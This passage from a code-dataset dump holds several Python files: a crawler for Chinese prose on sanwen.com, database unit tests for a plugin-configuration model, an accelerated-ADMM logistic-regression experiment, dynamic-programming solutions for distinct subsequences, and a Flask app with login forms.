Wrong\")\n return None\n\n def getOnePoem(self,href):\n try:\n html = self.getPage(href)\n texts = html.select('div[class=\"row-article\"]')[0]\n article = texts.select('h1')[0].get_text()\n content = texts.select('div[class=\"article-content\"]')[0].get_text()\n content = content.replace(\"(中国散文网- www.sanwen.com)\", \"\").split(\"中国散文网首发:http://www.sanwen.com\")[-2]\n print(content)\n return article , content\n except:\n print(href)\n\n def getPoemList(self,target):\n bf = self.getPage(target)\n if bf is None:\n return None\n hrefs_to_crawl = []\n div = bf.select('div[class=\"list-base-article\"]')[0]\n ul = div.select('ul')[0]\n lis = ul.select('li')\n for li in lis:\n a = li.select('a')[0]\n hrefs_to_crawl.append(\"http://www.sanwen.com\" + a['href'])\n return hrefs_to_crawl\n\n def getOneKindPoem(self,base_url, save_dir_base,cur_poem_class):\n pre = base_url + \"list_\"\n post = \".html\"\n # for number in range(20,100):\n for number in range(1, 20):\n print(\"number = \", number)\n url = pre + str(number) + post\n hrefs_to_crawl = self.getPoemList(url)\n if hrefs_to_crawl is None:\n break\n\n for i, ele in enumerate(hrefs_to_crawl):\n print(\"number = \", number, \" i= \", i)\n if ele in self.crawled_list:\n self.duplicate_num += 1\n print(\"duplicat_num = \", self.duplicate_num)\n continue\n else:\n self.crawled_list.append(ele)\n poem_title, poem_content = self.getOnePoem(ele)\n onePoem = poem_title + \"。\" + poem_content\n if len(onePoem) == 0:\n print(\"ele = \", ele)\n continue\n self.num_poems += 1\n temp_dict = {\"poem_id\": self.num_poems,\n 'poem_title': poem_title,\n 'origin_poem': poem_content,\n 'poem_class': cur_poem_class,\n 'url': ele,\n 'website_name': self.website_to_crawl\n }\n self.poems.append(temp_dict)\n '''\n 下面是将这篇散文保存到一个文件夹的逻辑\n '''\n if self.base_dir_for_save:\n save_dir_base = os.path.join(self.base_dir_for_save, save_dir_base)\n if not os.path.exists(save_dir_base):\n os.makedirs(save_dir_base)\n print(\"save_dir_base\", save_dir_base)\n filename = save_dir_base + str(number) + \"__\" + str(i)\n print(\"filename = \", filename)\n with open(filename + \".txt\", \"w\", encoding=\"utf8\") as fout:\n fout.write(\"\\n\".join(onePoem))\n # with open(filename + '.pkl', \"wb\") as fout:\n # pickle.dump(onePoem, fout)\n # fout.close()\n\n def getKindList(self,url):\n try:\n html = self.getPage(url)\n hrefs = []\n divs = html.select('div[class=\"list-article-shanggan\"]')[0]\n\n divs = divs.select('div[class=\"list-article-shanggan-box\"]')\n\n for div in divs:\n li = div.select('li[class=\"head\"]')[0]\n\n a = li.select('a')[0]\n hrefs.append(\"http://www.sanwen.com\" + a['href'])\n return hrefs\n except:\n print(\"url = \", url)\n\n def forward(self):\n if self.base_url is None:\n self.base_url = \"http://www.sanwen.com/sanwen/jingdiansanwen/\"\n self.kind_url = self.getKindList(self.base_url)\n print(\"kind_url = \", self.kind_url)\n print(\"len = \", len(self.kind_url))\n self.poem_classes = [url.split('/')[-2] for url in self.kind_url]\n self.poem_classes = [re.sub('sanwen','',url) for url in self.poem_classes]\n print(\"poem_classes = \",self.poem_classes)\n self.base_name = 'chinasw/'\n self.kind_name = []\n for url in self.kind_url:\n url = self.base_name + url.split('/')[-2]+'/'\n print(\"url = \",url)\n self.kind_name.append(url)\n for u , n ,c in zip(self.kind_url,self.kind_name,self.poem_classes):\n try:\n self.getOneKindPoem(u,n,c)\n except:\n print(\"u = \",u)\n print(\"n = \",n)\n print(\"breaked\")\n self.save()\n\nclass poemDusanwen(poemSpider):\n def __init__(self , base_url=None, dir_to_save=os.path.join(r'E:\\\\PycharmProjects\\\\FirstDayOnMS2\\\\Data\\\\Poem','dusanwen/dusanwen.json'),base_dir_for_save = r'E:\\\\PycharmProjects\\\\FirstDayOnMS2\\\\Data\\\\Poem',website_to_crawl = '文章阅读网'):\n super(poemDusanwen,self).__init__(base_url, dir_to_save,base_dir_for_save,website_to_crawl = website_to_crawl)\n self.tool = WebProxyTool() #中国散文网有反扒机制\n self.crawled_list = []\n self.duplicate_num = 0\n\n def makePoemObject(self, main_class, sub_class, href, page_title, Jokes):\n New_Jokes = []\n for joke in Jokes:\n joke = [re.sub(r'\\(.*\\)|(.*)', '', ele) for ele in joke]\n joke = [re.sub(r'^(0|1|2|3|4|5|6|7|8|9|0)',\"\",ele) for ele in joke]\n\n one_joke = {\n 'main_class':main_class,'sub_class':sub_class,\n 'url': href, 'page_title': page_title, \"content\": joke\n }\n New_Jokes.append(one_joke)\n return New_Jokes\n\nif __name__ == \"__main__\":\n pass\n # spiderOnsanwenji= poemSanwenji(base_url=None)\n # spiderOnsanwenji.forward()\n # goon = input(\"go on? [Y/N]\")\n # if not( goon.lower() == \"y\" or goon.lower() == \"yes\" ):\n # exit(90)\n # poemSpiderOnchinasw = poemChinaSw(base_url=\"http://www.sanwen.com/sanwen/jingdiansanwen/\")\n # poemSpiderOnchinasw.forward()\n\n","sub_path":"Model/Poem/crawlPoem.py","file_name":"crawlPoem.py","file_ext":"py","file_size_in_byte":14106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225917915","text":"# encoding: utf-8\nfrom .. import DatabaseTest\nfrom ...model import create\n\nimport unittest\nfrom mock import MagicMock\nfrom nose.tools import assert_raises\n\nfrom ...model.plugin_configuration import PluginConfiguration\nfrom ...model.library import Library\n\n# Varibles for test cases\nLIB_ID = 1\n\nclass TestPluginGetValues(DatabaseTest):\n def test_plugin_get_saved_values_lib_not_valid(self):\n class MockPlugin(PluginConfiguration):\n def __init__(self, *args, **kwargs):\n pass\n\n def _get_library_from_short_name(self, library_short_name):\n return Library(id=LIB_ID, short_name=\"T1\")\n\n mocked_plugin = MockPlugin()\n assert_raises(Exception, mocked_plugin.get_saved_values, \"a lib\", \"a plugin\")\n\n def test_plugin_get_saved_values_error_querying_db(self):\n class MockPlugin(PluginConfiguration):\n def __init__(self, *args, **kwargs):\n pass\n\n def _get_saved_values(*args, **kwargs):\n raise Exception\n\n def _get_library_from_short_name(self, library_short_name):\n return Library(id=LIB_ID, short_name=\"T1\")\n\n mocked_plugin = MockPlugin()\n assert_raises(Exception, mocked_plugin.get_saved_values, \"a lib\", \"a plugin\")\n\n\nclass TestPluginSaveValues(DatabaseTest):\n class MockPlugin(PluginConfiguration):\n def __init__(self, *args, **kwargs):\n pass\n\n def test_library_not_found(self):\n plugin = PluginConfiguration()\n assert_raises(Exception, plugin.save_values, \"library\", \"plugin\", {})\n\n def test_insert_value_db_empty(self):\n library, ignore = create(\n self._db, Library, id=LIB_ID, name=\"Lib\", short_name=\"L1\"\n )\n \n plugin_name = \"plugin\"\n key = \"key-to-test\"\n val = \"value to test\"\n data = {key: val}\n\n plugin = PluginConfiguration()\n plugin._perform_db_operations = MagicMock()\n plugin.save_values(self._db, library.short_name, plugin_name, data)\n\n plugin._perform_db_operations.assert_called_with(self._db,\n [{\n \"lib_id\": LIB_ID,\n \"target_key\": plugin_name + \".\" + key,\n \"value\": val\n }],\n [],\n [],\n )\n\n def test_insert_value_with_another_data_existing_in_db(self):\n library, ignore = create(\n self._db, Library, id=LIB_ID, name=\"Lib\", short_name=\"L1\"\n )\n \n pname = \"plugin\"\n new_key = \"key-to-test\"\n new_val = \"value to test\"\n key_to_keep = \"key-to-keep\"\n val_to_keep = \"val to keep\"\n\n data = {new_key: new_val, key_to_keep: val_to_keep}\n\n _, _ = create(\n self._db, PluginConfiguration, id=1, library_id=library.id, key=pname+\".\"+key_to_keep,\n _value=val_to_keep\n )\n\n plugin = PluginConfiguration()\n plugin._perform_db_operations = MagicMock()\n plugin.save_values(self._db, library.short_name, pname, data)\n\n plugin._perform_db_operations.assert_called_with(self._db,\n [{\n \"lib_id\": LIB_ID,\n \"target_key\": pname + \".\" + new_key,\n \"value\": new_val\n }],\n [],\n [] )\n def test_update_values(self):\n library, ignore = create(\n self._db, Library, id=LIB_ID, name=\"Lib\", short_name=\"L1\"\n )\n \n pname = \"plugin\"\n key_to_update = \"key-to-keep\"\n new_val = \"val to keep\"\n \n data = {key_to_update: new_val}\n\n plugin_instance, _ = create(\n self._db, PluginConfiguration, id=1, library_id=library.id, key=pname+\".\"+key_to_update,\n _value=new_val+\" old\"\n )\n\n plugin = PluginConfiguration()\n plugin._perform_db_operations = MagicMock()\n plugin.save_values(self._db, library.short_name, pname, data)\n\n plugin._perform_db_operations.assert_called_with(self._db,\n [],\n [{\n \"lib_id\": LIB_ID,\n \"target_key\": pname + \".\" + key_to_update,\n \"value\": new_val\n }],\n [] )\n\n def test_delete_value(self):\n library, ignore = create(\n self._db, Library, id=LIB_ID, name=\"Lib\", short_name=\"L1\"\n )\n \n pname = \"plugin\"\n key_to_delete = \"key-to-keep\"\n val_to_delete = \"val to keep\"\n \n data = {}\n\n plugin_instance, _ = create(\n self._db, PluginConfiguration, id=1, library_id=library.id, key=pname+\".\"+key_to_delete,\n _value=val_to_delete\n )\n\n plugin = PluginConfiguration()\n plugin._perform_db_operations = MagicMock()\n plugin.save_values(self._db, library.short_name, pname, data)\n\n plugin._perform_db_operations.assert_called_with(self._db,\n [],\n [],\n [{\n \"lib_id\": LIB_ID,\n \"target_key\": pname + \".\" + key_to_delete,\n }])\n\nclass TestPluginGetSavedValues(DatabaseTest):\n def test_plugin_empty_values(self):\n library, ignore = create(\n self._db, Library, id=LIB_ID, name=\"Lib\", short_name=\"L1\"\n )\n plugin = PluginConfiguration()\n saved_values = plugin._get_saved_values(self._db, library, \"any_plugin\")\n assert saved_values == {}\n\n def test_plugin_find_values(self):\n pname = \"plugin_name\"\n key1 = \"key1\"\n value1 = \"value1\"\n key2 = \"key2\"\n value2 = \"value2\"\n\n library, ignore = create(\n self._db, Library, id=LIB_ID, name=\"Lib\", short_name=\"L1\"\n )\n\n plugin1, ignore = create(\n self._db, PluginConfiguration, id=1, library_id=library.id, key=pname+\".\"+key1, _value=value1\n )\n plugin2, ignore = create(\n self._db, PluginConfiguration, id=2, library_id=library.id, key=pname+\".\"+key2, _value=value2\n )\n \n plugin = PluginConfiguration()\n saved_values = plugin._get_saved_values(self._db, library, pname)\n assert key1 in saved_values\n assert saved_values[key1] == value1\n assert key2 in saved_values\n assert saved_values[key2] == value2\n\n\nclass TestPluginFromShortName(DatabaseTest):\n def test_plugin_find_library(self):\n name = \"Test Library Name\"\n short_name = \"T1\"\n inserted_library, ignore = create(\n self._db, Library, id=LIB_ID, name=name, short_name=short_name\n )\n\n plugin = PluginConfiguration()\n library = plugin._get_library_from_short_name(self._db, short_name)\n assert library.name == inserted_library.name \n assert library.id == inserted_library.id\n assert library.short_name == inserted_library.short_name\n\n def test_plugin_dont_find_library(self):\n plugin = PluginConfiguration()\n assert_raises(Exception, plugin._get_library_from_short_name, self._db, \"any_name\")\n\n","sub_path":"tests/models/test_plugin_configuration.py","file_name":"test_plugin_configuration.py","file_ext":"py","file_size_in_byte":8273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"517291698","text":"import sys\nsys.path.append('../')\n\nfrom aa_admm.base_test import *\nfrom aa_admm.solver import *\n\nclass TestExamples(BaseTest):\n \"\"\" Unit tests for different examples \"\"\"\n \n def setUp(self):\n np.random.seed(1)\n self.rho = 10\n self.lambda_ = 2\n self.dataA = None\n self.y = None\n self.m = None\n self.n = None\n self.z_true_approx = None\n self.J = None\n self.es = None\n self.beta12 = None\n self.beta123 = None\n self.rho_M = None\n self.rho_T2 = None\n self.rho_T3 = None\n self.residuals = None\n self.errors = None\n self.eps_abs = 1e-16\n self.eps_rel = 1e-16\n self.maxit = 100\n \n def update_x(self, z, u, x0=None):\n # solve the x update\n # minimize [ -logistic(x_i) + (rho/2)||x_i - z^k + u^k||^2 ]\n # via Newton's method; for a single subsystem only.\n alpha = 0.1\n BETA = 0.5\n TOLERANCE = 1e-15\n MAX_ITER = 100\n yA = np.diag(np.ravel(self.y)) @ self.dataA\n I = np.eye(self.n+1)\n\n if (x0 is not None):\n x = x0\n else:\n x = np.zeros(self.n+1)\n\n C = np.c_[-self.y, -yA]\n f = lambda w: np.average(np.log(1 + np.exp(C@w))) + (self.rho/2)*np.linalg.norm(w - z + u)**2\n for iter in range(MAX_ITER):\n fx = f(x)\n g = C.T @ ( np.exp(C@x) / (1 + np.exp(C@x)) ) / self.m + self.rho*(x - z + u)\n H = C.T @ np.diag(np.ravel( np.exp(C@x) / (1 + np.exp(C@x))**2 )) @ C / self.m + self.rho*I\n dx = np.linalg.solve(-H,g) # Newton step\n dfx = g.T @ dx # Newton decrement\n if abs(dfx) < TOLERANCE:\n break\n\n # backtracking\n t = 1\n while f(x + t*dx) > fx + alpha*t*dfx:\n t = BETA*t\n\n x = x + t*dx\n\n return x\n \n def compute_rho_M(self):\n if self.z_true_approx is None:\n raise ValueError('Approximate true solution has not been evaluated!')\n z = self.z_true_approx.copy()\n # Use finite difference to get approximate gradient of ADMM iterations\n ep = 1e-4;\n J = np.zeros((self.n+1, self.n+1)); # Can be refined to store only n(n+1)/2 entries since Z is symmetric\n for j in range(self.n+1):\n h = np.zeros(self.n+1)\n h[j] = ep\n\n zph = z + h\n zmh = z - h\n\n uph = 2*self.lambda_*zph/self.rho\n umh = 2*self.lambda_*zmh/self.rho\n\n # perform one admm step to compute q(z+h)\n xph = self.update_x(zph, uph, z)\n zph = self.rho * (xph+uph) / (2*self.lambda_+self.rho)\n\n # perform one admm step to compute q(z-h)\n xmh = self.update_x(zmh, umh, z)\n zmh = self.rho * (xmh+umh) / (2*self.lambda_+self.rho)\n\n J[:,j] = np.ravel((zph-zmh)/2/ep)\n\n self.J = J\n # Compute the spectrum of Jacobian J\n self.es = scipy.linalg.eigvals(J)\n self.rho_M = max(abs(self.es))\n \n def test_regularized_logistic_regression(self):\n # Problem data.\n self.dataA = np.loadtxt('./data/madelon/madelon_train.data')[::10,::2]\n self.y = np.loadtxt('./data/madelon/madelon_train.labels')[::10]\n self.m, self.n = self.dataA.shape\n \n admm_update = [lambda z, u: self.update_x(z, u),\n lambda x, u: self.rho * (x+u) / (2*self.lambda_+self.rho),\n lambda z: 2*self.lambda_*z/self.rho]\n\n \n # Set A, B, b\n A = np.eye(self.n+1)\n B = -np.eye(self.n+1)\n b = np.zeros(self.n+1)\n \n # Compute results\n self.z_true_approx, _, _, self.c20, _ = AA_ADMM_Z(admm_update, A, B, b, 20, self.rho, self.maxit, self.eps_abs, self.eps_rel)\n _, r0, e0, _, t0 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, solIsApprox=True)\n _, r1, e1, self.c1, t1 = AA_ADMM_Z(admm_update, A, B, b, 1, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, solIsApprox=True)\n _, r2, e2, self.c2, t2 = AA_ADMM_Z(admm_update, A, B, b, 2, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, solIsApprox=True) \n _, r3, e3, self.c3, t3 = AA_ADMM_Z(admm_update, A, B, b, 3, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, solIsApprox=True) \n _, r5, e5, self.c5, t5 = AA_ADMM_Z(admm_update, A, B, b, 5, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, solIsApprox=True) \n _, r10, e10, self.c10, t10 = AA_ADMM_Z(admm_update, A, B, b, 10, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, solIsApprox=True) \n #_, r10, e10, self.c20, _ = AA_ADMM_Z(admm_update, A, B, b, 20, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, solIsApprox=True)\n \n # Compute beta in sAA(1)-ADMM\n self.compute_rho_M()\n print(self.rho_M)\n beta = (1-np.sqrt(1-self.rho_M))/(1+np.sqrt(1-self.rho_M)) # beta for sAA(1)\n self.beta12, self.rho_T2 = opt_sAA2_coeff(self.es) # beta1, beta2 for sAA(2)\n# self.beta123, self.rho_T3 = opt_sAA3_coeff(self.es, np.arange(0.5,0.81,0.005), np.arange(-0.2,0.01,0.005), np.arange(0,0.03,0.001)) # beta1, beta2, beta3 for sAA(3)\n self.beta123 = (0.61, -0.115, 0.009)\n self.rho_T3 = 0.3642705722804524\n print(1-np.sqrt(1-self.rho_M)) # rho(T) of sAA(1)\n print(self.rho_T2) # rho(T2) of sAA(2)\n print(self.rho_T3) # rho(T3) of sAA(3)\n \n _, r_sAA1, e_sAA1, _, _ = AA_ADMM_Z(admm_update, A, B, b, 1, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, use_sAA=True, beta=beta, solIsApprox=True)\n _, r_sAA2, e_sAA2, _, _ = AA_ADMM_Z(admm_update, A, B, b, 2, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, use_sAA=True, beta=self.beta12, solIsApprox=True)\n _, r_sAA3, e_sAA3, _, _ = AA_ADMM_Z(admm_update, A, B, b, 3, self.rho, self.maxit, self.eps_abs, self.eps_rel, z_true=self.z_true_approx, use_sAA=True, beta=self.beta123, solIsApprox=True)\n \n # accelerate ADMM by over-relaxation ('relax' = 1.9 gives the best convergence)\n# _, _, e_rx1, _, t_rx1 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.1, z_true=self.z_true_approx, solIsApprox=True)\n# _, _, e_rx2, _, t_rx2 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.2, z_true=self.z_true_approx, solIsApprox=True)\n# _, _, e_rx3, _, t_rx3 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.3, z_true=self.z_true_approx, solIsApprox=True)\n# _, _, e_rx4, _, t_rx4 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.4, z_true=self.z_true_approx, solIsApprox=True)\n# _, _, e_rx5, _, t_rx5 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.5, z_true=self.z_true_approx, solIsApprox=True)\n# _, _, e_rx6, _, t_rx6 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.6, z_true=self.z_true_approx, solIsApprox=True)\n# _, _, e_rx7, _, t_rx7 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.7, z_true=self.z_true_approx, solIsApprox=True)\n# _, _, e_rx8, _, t_rx8 = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.8, z_true=self.z_true_approx, solIsApprox=True)\n _, _, e_rx, _, t_rx = AA_ADMM_Z(admm_update, A, B, b, 0, self.rho, self.maxit, self.eps_abs, self.eps_rel, relaxation=1.9, z_true=self.z_true_approx, solIsApprox=True)\n \n # store residuals results\n self.errors = [e0, e1, e2, e3, e5, e10, e_rx, e_sAA1, e_sAA2, e_sAA3]\n self.timings = [t0, t1, t2, t3, t5, t10, t_rx]\n \n def plot_aa_admm_errors(self):\n # Plot errors comparing ADMM and AA-ADMM\n e_sAA = self.errors[6]\n rho_ref1 = (e_sAA[0]+0.05) * np.power((1-np.sqrt(1-self.rho_M)), np.linspace(0, 40, 41))\n rho_ref2 = (e_sAA[0]+0.2) * np.power(self.rho_T2, np.linspace(0, 36, 37))\n rho_ref3 = (e_sAA[0]+0.03) * np.power(self.rho_T3, np.linspace(0, 31, 32))\n self.plot_results(self.errors + [rho_ref1, rho_ref2, rho_ref3], \\\n labels=['ADMM', 'AA(1)-ADMM', 'AA(2)-ADMM', 'AA(3)-ADMM', 'AA(5)-ADMM', 'AA(10)-ADMM', \\\n 'rADMM(1.6)', 'sAA(1)-ADMM', 'sAA(2)-ADMM', 'sAA(3)-ADMM', \\\n r'$\\rho^*_{sAA(1)}$', r'$\\rho^*_{sAA(2)}$', r'$\\rho^*_{sAA(3)}$'], \\\n linestyles=['-', '-', '-', '-', '-', '-', '-.', '-.', '-.', '-.', ':', ':', ':'],\\\n colors=['k', 'r', 'g', 'b', 'c', 'gray', 'm', 'r', 'g', 'b', 'r', 'g', 'b'],\\\n linewidths=[3.5, 3.5, 3.5, 3.5, 3.5, 3.5, 2.5, 2.5, 2.5, 2.5, 1.5, 1.5, 1.5], \\\n pltError=True,\\\n maxIt=82,\\\n filename='iters_logreg.png')\n \n def plot_saa_admm_errors(self):\n # Plot errors comparing ADMM and sAA-ADMM\n e_sAA = self.errors[-1]\n rho_ref1 = e_sAA[0] * np.power((1-np.sqrt(1-self.rho_M)), np.linspace(0, 40, 41))\n rho_ref2 = e_sAA[0] * np.power(self.rho_T2, np.linspace(0, 40, 41))\n rho_ref3 = e_sAA[0] * np.power(self.rho_T3, np.linspace(0, 31, 32))\n self.plot_results([self.errors[0]]+self.errors[7:]+[rho_ref1, rho_ref2, rho_ref3], \\\n labels=['ADMM', 'sAA(1)-ADMM', 'sAA(2)-ADMM', 'sAA(3)-ADMM',\\\n r'$\\rho^*_{sAA(1)}$', r'$\\rho^*_{sAA(2)}$', r'$\\rho^*_{sAA(3)}$'], \\\n linestyles=['-', '-', '-', '-', '--', '--', '--'],\n pltError=True,\n maxIt=82)\n \n# def plot_radmm_errors(self):\n# # Plot errors comparing ADMM and relaxed-ADMM\n# self.plot_results(self.relax_errors, \\\n# labels=['rADMM(1.1)', 'rADMM(1.2)', 'rADMM(1.3)', 'rADMM(1.4)', 'rADMM(1.5)', 'rADMM(1.6)', 'rADMM(1.7)', 'rADMM(1.8)', 'rADMM(1.9)'], \\\n# linestyles=['-','-', '-', '-', '-', '-', '-', '-', '-'],\n# pltError=True)\n \n def plot_timings(self):\n self.plot_results(self.errors[:7], ts=self.timings, \\\n labels=['ADMM', 'AA(1)-ADMM', 'AA(2)-ADMM', 'AA(3)-ADMM', 'AA(5)-ADMM', 'AA(10)-ADMM', 'rADMM(1.9)'],\n linestyles=['-', '-', '-', '-', '-', '-', '-'],\\\n colors=['k', 'r', 'g', 'b', 'c', 'gray', 'm'],\\\n linewidths=[3.5, 3.5, 3.5, 3.5, 3.5, 3.5, 3.5], \\\n pltError=True,\\\n maxIt=82,\\\n filename='timing_logreg.png')\n \n def plot_eigs(self):\n if self.es is None or self.J is None:\n raise ValueError('The Jacobian and spectrum have not been evaluated!')\n # plot eigs of q'\n X = [e.real for e in self.es]\n Y = [e.imag for e in self.es]\n plt.scatter(X, Y, marker='*', label=r\"$\\sigma(q'(x^*))$\")\n \n # plot eigs of accelerated iteration matrix T\n beta = (1-np.sqrt(1-self.rho_M))/(1+np.sqrt(1-self.rho_M))\n T = np.block([\n [(1+beta)*self.J, -beta*self.J],\n [np.eye(self.J.shape[1]), np.zeros(self.J.shape)]\n ])\n eigsT = scipy.linalg.eigvals(T)\n X = [e.real for e in eigsT]\n Y = [e.imag for e in eigsT]\n plt.scatter(X, Y, marker='*', label=r\"$\\sigma(\\Psi'(X^*))$\")\n \n # plot eigs of sAA(2) accelerated matrix T2\n beta1, beta2 = self.beta12\n I = np.eye(self.n+1)\n O = np.zeros((self.n+1, self.n+1))\n T2 = np.block([\n [(1+beta1+beta2)*self.J, -beta1*self.J, -beta2*self.J],\n [I, O, O ],\n [O, I, O ]\n ])\n eigsT2 = scipy.linalg.eigvals(T2)\n X = [e.real for e in eigsT2]\n Y = [e.imag for e in eigsT2]\n plt.scatter(X, Y, marker='*', label=r\"$\\sigma(\\Psi_2'(X^*))$\")\n \n # plot eigs of sAA(2) accelerated matrix T3\n beta1, beta2, beta3 = self.beta123\n T3 = np.block([\n [(1+beta1+beta2+beta3)*self.J, -beta1*self.J, -beta2*self.J, -beta3*self.J],\n [I, O, O, O],\n [O, I, O, O],\n [O, O, I, O]\n ])\n eigsT3 = scipy.linalg.eigvals(T3)\n X = [e.real for e in eigsT3]\n Y = [e.imag for e in eigsT3]\n plt.scatter(X, Y, marker='*', label=r\"$\\sigma(\\Psi_3'(X^*))$\")\n plt.xticks(fontsize=15)\n plt.yticks(fontsize=15)\n \n plt.xlim(left=0)\n plt.legend(prop={'size': 14},loc=\"upper right\")\n plt.savefig('eigs_logreg.png')\n plt.show()\n\nif __name__ == '__main__':\n tests = TestExamples()\n tests.setUp()\n tests.test_regularized_logistic_regression()\n tests.plot_aa_admm_errors()\n# tests.plot_saa_admm_errors()\n tests.plot_timings()\n tests.plot_eigs()\n","sub_path":"examples/reg_logistic_regression.py","file_name":"reg_logistic_regression.py","file_ext":"py","file_size_in_byte":13560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"180402887","text":"#回溯法base版,超时\n\nclass Solution:\n def numDistinct(self, s, t):\n self.ans = 0\n self.helper(s, t, 0)\n return self.ans\n\n def helper(self, s, t, index):\n\n if index == len(t):\n self.ans += 1\n return\n for i in range(len(s)):\n if s[i] == t[index]:\n self.helper(s[i + 1:], t, index + 1)\n\n#利用 Memoization trick 加快回溯过程,勉强AC\nclass Solution:\n def numDistinct(self, s, t):\n self.ans = 0\n hashmap = {}\n self.helper(s, t, 0, hashmap)\n return self.ans\n\n def helper(self, s, t, index, map):\n\n if index == len(t):\n self.ans += 1\n return\n if s + str(index) in map:\n self.ans += map[s + str(index)]\n return\n for i in range(len(s)):\n if s[i] == t[index]:\n tmp = self.ans\n self.helper(s[i + 1:], t, index + 1, map)\n increment = self.ans - tmp\n map[s[i + 1:] + str(index + 1)] = increment\n \n#DP \nclass Solution:\n def numDistinct(self, s: str, t: str) -> int:\n n1 = len(s)\n n2 = len(t)\n #前0个到前n个,故长度为n+1\n dp = [[0] * (n1 + 1) for _ in range(n2 + 1)]\n #dp[i][j]表示T的前i个字符构成的子序列在S的前j个字符构成的子序列中出现的次数\n #空串是任何串的子串,所以dp[0][j] = 1\n for j in range(n1 + 1):\n dp[0][j] = 1\n for i in range(1, n2 + 1):\n for j in range(1, n1 + 1):\n #t[i - 1]代表的是第i个字符,刚好与下面的dp[i][j]代表的前i个字符相对应\n if t[i - 1] == s[j - 1]:\n dp[i][j] = dp[i - 1][j - 1] + dp[i][j - 1]\n else:\n dp[i][j] = dp[i][j - 1]\n #print(dp)\n return dp[-1][-1]\n","sub_path":"dp/Distinct_Subsequences.py","file_name":"Distinct_Subsequences.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"79959868","text":"# -*- coding: utf-8 -*-\n'''The app module, containing the app factory function.'''\nfrom flask import Flask, render_template\n\nfrom nektime.settings import ProdConfig\nfrom nektime.assets import assets\nfrom nektime.extensions import (\n bcrypt,\n cache,\n db,\n login_manager,\n migrate,\n debug_toolbar,\n api,\n admin,\n)\nfrom nektime import public\n\n\n\ndef create_app(config_object=ProdConfig):\n '''An application factory, as explained here:\n http://flask.pocoo.org/docs/patterns/appfactories/\n\n :param config_object: The configuration object to use.\n '''\n app = Flask(__name__)\n app.config.from_object(config_object)\n register_extensions(app)\n register_blueprints(app)\n # register_errorhandlers(app)\n return app\n\n\ndef register_extensions(app):\n assets.init_app(app)\n bcrypt.init_app(app)\n cache.init_app(app)\n db.init_app(app)\n login_manager.init_app(app)\n debug_toolbar.init_app(app)\n migrate.init_app(app, db)\n api.init_app(app)\n admin.init_app(app)\n return None\n\n\ndef register_blueprints(app):\n app.register_blueprint(public.api.mod)\n return None\n\n\n\n######################################3\nfrom wtforms import form, fields, validators\nimport flask_login as login\n\nclass LoginForm(form.Form):\n login = fields.TextField(validators=[validators.required()])\n password = fields.PasswordField(validators=[validators.required()])\n\n def validate_login(self, field):\n user = self.get_user()\n\n if user is None:\n raise validators.ValidationError('Invalid user')\n\n # we're comparing the plaintext pw with the the hash from the db\n if not check_password_hash(user.password, self.password.data):\n # to compare plain text passwords use\n # if user.password != self.password.data:\n raise validators.ValidationError('Invalid password')\n\n def get_user(self):\n return db.session.query(User).filter_by(login=self.login.data).first()\n\nclass RegistrationForm(form.Form):\n login = fields.TextField(validators=[validators.required()])\n email = fields.TextField()\n password = fields.PasswordField(validators=[validators.required()])\n\n def validate_login(self, field):\n if db.session.query(User).filter_by(login=self.login.data).count() > 0:\n raise validators.ValidationError('Duplicate username')\n\n@login_manager.user_loader\ndef load_user(user_id):\n return db.session.query(User).get(user_id)\n\n#########################################\nfrom flask import redirect, url_for, request\nfrom flask_admin import BaseView, expose, helpers\nfrom flask.ext.admin.contrib.sqla import ModelView\nfrom nektime.models import User, Answer, Question\n\nclass MyIndexView(BaseView):\n @expose('/')\n def index(self):\n if not login.current_user.is_authenticated():\n return redirect(url_for('.login_view'))\n return super(MyAdminIndexView, self).index()\n @expose('/login/', methods=('GET','POST'))\n def login_view(self):\n form = LoginForm(request.form)\n if helpers.validate_form_on_submit(form):\n user = form.get_user()\n login.login_user(user)\n if login.current_user.is_authenticated():\n return redirect(url_for('.index'))\n link = '

    Don\\'t have an account? Click here to register.

